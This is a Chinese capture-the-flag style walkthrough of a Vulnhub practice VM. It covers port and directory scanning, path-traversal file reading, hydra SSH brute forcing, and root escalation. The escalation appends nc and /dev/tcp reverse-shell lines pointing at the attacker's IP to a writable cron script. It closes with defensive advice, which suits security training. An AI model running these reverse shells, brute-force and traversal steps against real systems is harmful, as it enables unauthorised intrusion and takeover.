本篇是系列文章第二篇,比之上一篇《Vulnhub未知攻焉知防
》难度有所增加,更侧重思路上的突破,讲述如何通过信息收集获取目标系统关键信息,将会利用到信息泄露和任意文件读取漏洞获取敏感信息,然后构造字典进行ssh爆破拿到用户密码获取权限,最后通过计划任务提权拿到root权限。(PS:之后的系列文章都将在下面给出攻击思路,并在最后给出相应的防范措施,希望对攻击还是防御感兴趣的读者,都能有所收获)。
1、信息收集:
1)、对目标IP进行端口扫描,探测开放的端口及应用,目标主机开放了22端口和80端口。
2)、从80端口(web服务)入手,进行目录扫描,发现可用目录,进入web应用中去测试信息泄露和其他web漏洞。根据信息泄露和文件读取漏洞所发现的信息,后续进行字典的构造,再去爆破22端口的ssh密码。最终拿到用户名密码,进入目标主机拿下第一个根据点。
2、提权:
拿到服务器权限后一般是低权限账号,那么就需要提权,本次通过计划任务反弹shell拿到root权限。提权后拿到root权限,本次攻击就完成了。
备注:这里所有的扫描、测试和攻击手段,都是通过一点一点的信息收集,然后采取相应操作,得到一些结果,再基于这些结果线索,采取下一步操作,在行业内都称为信息收集。
用到的知识点、工具和漏洞:
Kali linux:一款开源、集成了各种安全工具的linux操作系统,以下简称kali
Nmap:一款开源的端口扫描器,用于端口扫描及服务识别
Dirbuster:一款目录扫描器,kali中自带,用于目录探测
信息泄露:信息收集中利用的漏洞,相关泄露信息会暴露系统的缺陷弱点
文件读取:任意文件读取可用来读取系统中任意文件,通过page=../../xxx.html的形式进行遍历,获取系统敏感数据文件,危害巨大。
Hydra爆破:hydra一款口令爆破工具,可用于爆破ssh、ftp、mysql、telent等应用弱口令,kali中自带该工具
计划任务反弹shell:通过计划任务的执行文件中写入反弹shell的代码,在攻击机中监听,可用于反弹shell,通俗点讲就是拿到具有用户权限的交互界面,如果该执行文件是root创建的,那么拿到的就是root权限,以此类推。
靶机地址
靶机ip:192.168.43.82
Kaliip: 192.168.43.90(攻击机)
解压时需要密码,靶机描述中有提示,算是作者给的小彩头。
使用该字符串解密,发现失败
该字符有点像MD5值,遂拿去解密,还是不正确
后来想到可能是16进制,再次拿去解密
得到密码,成功解压,后续进入正常环节
主机探测:netdiscover-i eth0 -r 192.168.43.0/24
端口探测及服务识别:nmap-sS -sV -T5 -A 192.168.43.82
当前靶机开放了22和80端口,首先以80的web服务为突破口。
Ofcourse 先扫波目录,这里使用的kali自带的dirbuster
发现了首页和manual目录,manual目录打开是apache的配置文档,没啥好利用的。先打开首页index.html看看
这里是个密码强度检测器,先随意输入密码提交试试
密码要求至少8个字符,包括大小写字母,1个数字,1个特殊字符,遂再次构造密码提交
提交后,弹出提示框,并输出一句话,翻译过来就是:密码足够强壮了,包含了大小写字母,数字,特殊字符,这个withflag=1值得考虑,这里开始没懂,以为就是提示的php页面,直接拿去访问
后来反应过来,是将flag用1替换,感觉这急转弯出的可以
提示找到password.txt,但该页面无显示,一般的做法就是查看下前端源码,会有意外惊喜。
果不其然,这里提示使用page参数,应该是利用文件读取找到password.txt,于是构造url进行尝试,最后找到password.txt文件
根据提示,用户名为yash,密码为ya5h**,后两位忘记了,估计是构造字典进行爆破,猜测是数字或者字母组合,所以准备先尝试数字00-99,字母aa-zz,最后再尝试数字字母混合组合。
这里大家可以自行尝试,我这里在第二轮字母组合进行爆破时,已经发现了正确密码。这里使用的爆破工具为hydra,使用命令如下
Hydra -l 用户名-P 密码字典目标IP 协议
示例:hydra-l yash -P password.txt 192.168.43.82 ssh
下面就ssh登录进去
拿到yash目录下的flag
一串疑似base64编码字符串,好奇心促使着我去解密一下
似乎得到了某种提示,于是又去访问上述页面,还使用了文件读取去查询该页面,都没有什么结果,后面复盘时发现我都已经进入系统了,只要考虑提权即可。
话不多说,下面需要进行提权,因为刚得到的shell权限较低,得想办法获取高权限账户,最终获取root权限。
cat /etc/passwd查看一下系统存在的用户
下面是提权常规方法,冲呀
Sudo -l 查询具有sudo权限命令,然后提权
SUID提权,find / -perm -u=s -type f 2>/dev/null
通过在/etc/passwd添加一个root权限的账户进行提权,
find / -writable -type f 2>/dev/null 查找可利用的可写文件
内核提权
其他
这里使用sudo-l 查询有哪些sudo权限命令
看来此路不通
下一步,查看具有SUID执行权限的文件
看来此路也不通
下一步,查看具有可写权限文件
这里观察到一个.sh文件,在yash用户目录下
ls-la 查看下该目录下文件
该文件root具有执行权限,其他用户具有可写权限,阔兮呀,如果能执行的话,倒是能通过该文件提权
在其他目录里也没找到有用的信息,突然想起计划任务也是能够利用的,于是查看下计划任务
Cat/etc/crontab
发现计划任务里每分钟执行一次perm.sh文件,然后又是具有可写权限的,这里就能够利用来反弹shell,在文件里添加2条反弹shell的命令,加2条的原因是怕其中1个不起作用。
nc-e /bin/bash 192.168.43.90 1234
bash-i >& /dev/tcp/192.168.43.90/1234 0>&
然后kali监听1234端口,等待1分钟。
等待一会,拿到shell,权限为root
读取最后的flag
通过此篇攻防系列文章,信息安全防护总结如下:
对于有关系统的敏感信息或测试信息尽量不要展示在前端或前端源码中
加密算法使用强加密算法,如(RSA、3DES、AES),避免使用弱加密算法,如(base64、md5等)
Ssh设置登录次数限制,加强密码复杂度(要求8位已上,含大小写字母、数字、特殊字符三种及已上),避免使用跟公司单位挂钩的密码组合如(Shsnc123!@#)
任意文件读取漏洞防护:对于page、file等参数传参时,应过滤../../等非法字符,配置用户输入白名单
计划任务的执行文件不能为root所创建,并且其他用户不应具有可写权限。
文章版权归作者所有,未经允许请勿转载,若此文章存在违规行为,您可以联系管理员删除。
转载请注明本文地址:https://www.ucloud.cn/yun/130072.html
摘要:本文将分享软件基本用法及文件进程注册表查看,这是一款微软推荐的系统监视工具,功能非常强大可用来检测恶意软件。可以帮助使用者对系统中的任何文件注册表操作进行监视和记录,通过注册表和文件读写的变化,有效帮助诊断系统故障或发现恶意软件病毒及木马。 ...
阅读 1246·2023-01-11 13:20
阅读 1554·2023-01-11 13:20
阅读 1007·2023-01-11 13:20
阅读 1673·2023-01-11 13:20
阅读 3967·2023-01-11 13:20
阅读 2509·2023-01-11 13:20
阅读 1304·2023-01-11 13:20
阅读 3472·2023-01-11 13:20